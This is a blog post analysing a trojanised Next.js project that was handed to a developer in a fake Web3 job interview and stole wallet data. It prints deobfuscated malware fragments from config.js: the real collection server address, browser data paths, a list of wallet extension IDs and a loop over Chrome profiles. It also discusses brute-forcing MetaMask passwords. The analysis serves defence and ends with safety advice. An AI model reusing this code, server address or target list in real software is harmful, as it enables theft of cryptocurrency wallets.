gexiao

gexiao

twitter
github

Analysis of a Frontend Source Code Theft Incident

A few days ago, I saw a group friend in the Dapp Learning community talking about their experience of having their wallet stolen:

image

The possibility of recovering stolen funds from such unknown sources of malware is extremely low; perhaps by the time you notice, the funds have already been transferred to Kim's wallet. The process described by this group friend made me curious: why would running a Next.js program lead to the theft of a local wallet? I tried to analyze it with my limited knowledge of information security.

Behavior Check#

After communicating with the group friend, I obtained the source code repository, cloned it to a Windows virtual machine, prepared a process behavior recording tool (Process Monitor) and network traffic monitoring (I directly used Surge on a bypass router), executed npm install and npm run dev to start the service as per the README, and noticed several connections to 95.164.17.24:1224 in the traffic history:

iShot_2024-09-30_20.27.12

Upon observing the behavior of the node process, my home had already been scanned several times:

image

It can be confirmed that the malware behavior of this project is unrelated to the web front end, but rather occurred after the node service was started. The project looks quite legitimate in the browser:

iShot_2024-09-30_23.59.55

Analysis Process#

Since the behavior has been characterized, let's take a closer look at the actions.

Each Chrome extension has its own unique identifier, and the extension directories scanned by the node process include well-known wallets, such as nkbihfbeogaeaoehlefnkodbefgpgknn for MetaMask, acmacodkjbdgmoleebolmdjonilkdbch for Rabby, and bfnaelmomeimhlpmgjnjophhpkkoljpa for Phantom, which is quite obvious in intent.

Creating a new user in Chrome corresponds to a data directory for that user, and this malware continuously scans up to User Data\Profile 199, indicating that it will scrape the first 200 Chrome users, which is quite thorough. It also scans Edge, Brave, Firefox, and Opera browsers, so rest assured, it covers all bases.

Additionally, it specifically scanned .config\solana\id.json, which is the default storage file for private keys generated by the solana-keygen tool.

The target service at 95.164.17.24:1224 clearly receives the scraped wallet data; as for whether it does anything else, I did not perform detailed packet capturing to see the specific request content, so I won't analyze that for now. Searching the IP in a search engine reveals that several individuals have reported malicious behavior related to this service in recent months:

The article “New Version of BeaverTail macOS Malware Identified” contains a wealth of information, where researchers captured a trojan disguised as a video call program MiroTalk, believed to originate from North Korean hackers. Since it used the same server as our case, it can be confirmed that it is the same group, and the behavior of this trojan is very similar to the code in this case. The article also mentions that the trojan downloads another tool to perform keylogging after execution.

The LinkedIn post “DO NOT OPEN RANDOM PIECES OF CODE” mentions that someone pretended to be recruiting in the Web3 industry, sending code during the interview for execution, which was detected as suspicious and did not succeed. I suspect the victimized group friend may have fallen for this trick, and upon inquiry, it turned out to be true.

image

The Reddit post “Beware of scammers!” mentioned similar content to the above LinkedIn post, and a commenter provided a very complete analysis:

image

The geographical location of some IP addresses can vary, and the accuracy varies by service provider; I usually rely on the results from ipip.net:

image

It can be seen that 95.164.17.24 is a server located in the Netherlands, provided by Stark Industries Solutions.

image

At this point, I encountered information I completely did not anticipate. The article “Stark Industries: Fuelling Russia’s Cyber Offensive” claims that Stark Industries appeared just two weeks before Russia invaded Ukraine in February 2022. This hosting service provider was established in the UK but has roots and infrastructure throughout Europe, quickly becoming a hub for distributed denial-of-service (DDoS) attacks and disinformation activities, deliberately protecting service users and serving multiple pro-Russian hacker organizations.

Goodness, the Russian hackers are specifically using this. It can be reasonably speculated that there may be some cooperation between North Korean state hackers and Russia.

In September, there were also two articles related to this attack:

The article “Tracking Beavertail APT threats in the npm ecosystem” discovered that someone published an npm package containing attack code with names that are very easy to confuse, such as etherscan-api. If developers accidentally load these npm packages, it could turn their originally harmless code into malware (a term known as supply chain attack). Many projects in the Web3 industry can achieve complete on-chain decentralization in execution logic and fund management, but the web front-end pages provided for users are often centralized, so supply chain attacks targeting the front end are a very serious threat: a front-end engineer accidentally types an extra letter, or a certain engineer's permissions are stolen, leading to the introduction of malicious code into the front-end source code, resulting in users losing their funds once it goes live. (Historical review: “The Mystery of the Ledger Connect Kit Hack”)

The security company rewterz, in their threat intelligence, named the recent phishing behavior specifically targeting Web3 industry recruitment as Dream Job in the article “Lazarus aka Hidden Cobra APT Group – Active IOCs”.

image

Returning to the Source Code#

After discovering malicious behavior in the engineering code, I tried to search all the source code using obvious keywords like nkbihfbeogaeaoehlefnkodbefgpgknn to see how it was implemented. Clearly, professional hackers would not leave such obvious traces for others; it’s not targeted at me but rather to avoid detection and defense by automated tools from various security vendors. If keywords don’t work, I’ll take a manual look. Opening config.js, I was taken aback:

image

You like to obfuscate, huh? But what legitimate engineer would add obfuscation in config.js? This is a clear giveaway. Scrolling down, I saw a bunch of strange strings:

image

Inside, there are '/Chro' and 'Brave', which are too suspicious. Sure enough, I couldn’t find nkbihfbeogaeaoehlefnkodbefgpgknn, but nkbih could be found, confirming that this is the place; the obfuscation process just scrambled some strings. I ran a JS deobfuscation tool to see what it was doing, and I’ll share some key code snippets that correspond to the actions observed earlier:

const _0x55065c = "http://95.164.17.24:1224";
const _0x1232d9 = ["Local/BraveSoftware/Brave-Browser", "BraveSoftware/Brave-Browser", "BraveSoftware/Brave-Browser"];
const _0x151d96 = ["Local/Google/Chrome", "Google/Chrome", "google-chrome"];
const _0x1c1cc8 = ["Roaming/Opera Software/Opera Stable", "com.operasoftware.Opera", "opera"];
const _0x275436 = ["nkbihfbeogaeaoehlefnkodbefgpgknn", "ejbalbakoplchlghecdalmeeeajnimhm", "fhbohimaelbohpjbbldcngcnapndodjp", "hnfanknocfeofbddgcijnmhnfnkdnaad", "ibnejdfjmmkpcnlpebklmnkoeoihofec", "bfnaelmomeimhlpmgjnjophhpkkoljpa", "aeachknmefphepccionboohckonoeemg", "hifafgmccdpekplomjjkcfgodnhcellj", "jblndlipeogpafnldhgmapagcccfchpi", "acmacodkjbdgmoleebolmdjonilkdbch", "dlcobpjiigpikoobohmabehhmhfoodbb", "aholpfdialjgjfhomihkjbmgjidlcdno"];

Looping through the first 200 Chrome users:

  for (let _0x4293f0 = 0; _0x4293f0 < 200; _0x4293f0++) {
    const _0x50fbe9 = _0x420236 + "/" + (_0x4293f0 === 0 ? "Default" : "Profile " + _0x4293f0) + "/Local Extension Settings";
    for (let _0x38faa0 = 0; _0x38faa0 < _0x275436.length; _0x38faa0++) {
      let _0x4a10a4 = _0x50fbe9 + "/" + _0x275436[_0x38faa0];

There’s also a piece of code that checks the Python runtime environment and downloads something to execute. I didn’t trigger it during my testing, but it aligns with the behavior analyzed by researchers in the previous articles.

image

Final Step#

At this point, we already know how the victim's wallet data was stolen, but one question remains unanswered: although the data from the MetaMask extension is stored locally and can be stolen, extracting the mnemonic or private key requires the password configured by the user. The engineers at MetaMask would not be foolish enough to allow direct extraction from the file. This process returns to classical hacking techniques, which usually have two paths:

  1. Remember the article above that mentioned the malicious code would attempt to download another malicious tool? If it is not detected in time and successfully executed, then the keylogger has the opportunity to capture the victim's password input and perform a full scan of files to check if the password is recorded in any documents.
  2. Server-side brute force. Referring to the article “How Your Little Fox (MetaMask) Got Hacked”, the chart attached in that article shows that the time required for brute-forcing complex passwords far exceeds that of short, simple passwords.
    image

The reason I say this chart is not precise is that we do not know what encryption standard is described. The difficulty of brute-forcing a password depends not only on the attacker's computing power but also on the key derivation algorithm used during encryption. When MetaMask encrypts the private key based on the user password, it uses the PBKDF2 algorithm, which mitigates brute-force attacks, along with a random salt, and the PBKDF2 iteration count is the industry-recommended security standard of 600,000 iterations (the source code keyword is 600_000), which is sufficiently secure. However, PBKDF2 cannot resist brute-force attacks using GPUs or ASIC hardware, so as long as it is discovered that your wallet has significant value, the attacker will be very willing to invest computing power to compete with you.

I am not sure why MetaMask did not choose more secure algorithms like Bcrypt or Argon2; I suspect it is to balance user experience and security, as these algorithms may consume too much memory and not be suitable for browser scenarios. But one conclusion is indisputable: if your MetaMask uses a short password consisting of only numbers and lowercase letters, the attacker's cost of cracking it is too low, equivalent to having no password. In such cases, relying on any advanced algorithm in the program will not solve the problem.

Returning to the beginning, the group friend discovered that the funds in their wallet were transferred "about an hour later," which is very likely due to using a simple password that allowed for rapid cracking. Upon inquiry, I received a positive response. It cannot be confirmed if this was the case on the attacker's side, but it can be assumed with high probability.

Security Warning#

This is a typical malicious software theft incident, nothing new, similar to previous cases where someone pretended to collaborate and sent a game executable. This trap specifically targets developers in the industry. Last time, Slow Mist also analyzed another more advanced phishing targeting developers in “The Deceptive Phishing of the Dark Forest”.

The security defense measures remain the same old points:

  1. Since you choose to wander in the dark forest of Web3, you are destined to face omnipresent risks. Do not run open-source code from strangers directly, let alone compiled executable programs. If necessary, run them in a virtual machine or on a dedicated machine that does not hold funds. During interviews, you need not worry about the virtual machine; think about what your thoughts would be if you were the interviewer and saw the candidate taking such cautious actions. You would certainly think that this candidate has a good security awareness and is a plus, so how could they be eager to urge you to run the program outside the virtual machine? Any interview or invitation that presents such a situation is 100% a scam.
  2. Adjust your mindset. Don’t think that being able to write code is impressive; knowing how to code does not equate to understanding security. Anyone who has not engaged in offensive and defensive practices is a novice, and there are countless details that can deceive you. Therefore, I have always believed that if the technical team in the blockchain industry has no security experience and does not take any measures (such as hiring professional security engineers or purchasing services from external companies), it is essentially running naked and gambling on luck.
  3. Please ensure that you use complex passwords of more than 12 characters for your various wallets. Random passwords are the best; I know you may not remember them, so I highly recommend using password management tools like 1Password. If you must remember them yourself, there are strategies, for example, if you have a commonly used password, for MetaMask, use your common password + .metamask suffix, and for Rabby wallet, it would be your common password + .rabby. Don’t forget that little dot; you can use two dots or replace it with any special symbol you like.
  4. When introducing third-party libraries in your code, it’s not enough to just look at the name; you need to visit the library's homepage and GitHub to confirm its legitimacy and how long it has been published.
  5. Do not keep too many funds in hot wallets like MetaMask; the quantitative standard is: if being stolen would cause you to lose sleep, then it’s too much. Use hardware wallets for large amounts; while hardware wallets cannot prevent on-chain permission leaks, they can prevent private key leaks, which account for the vast majority of personal fund security incidents.
Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.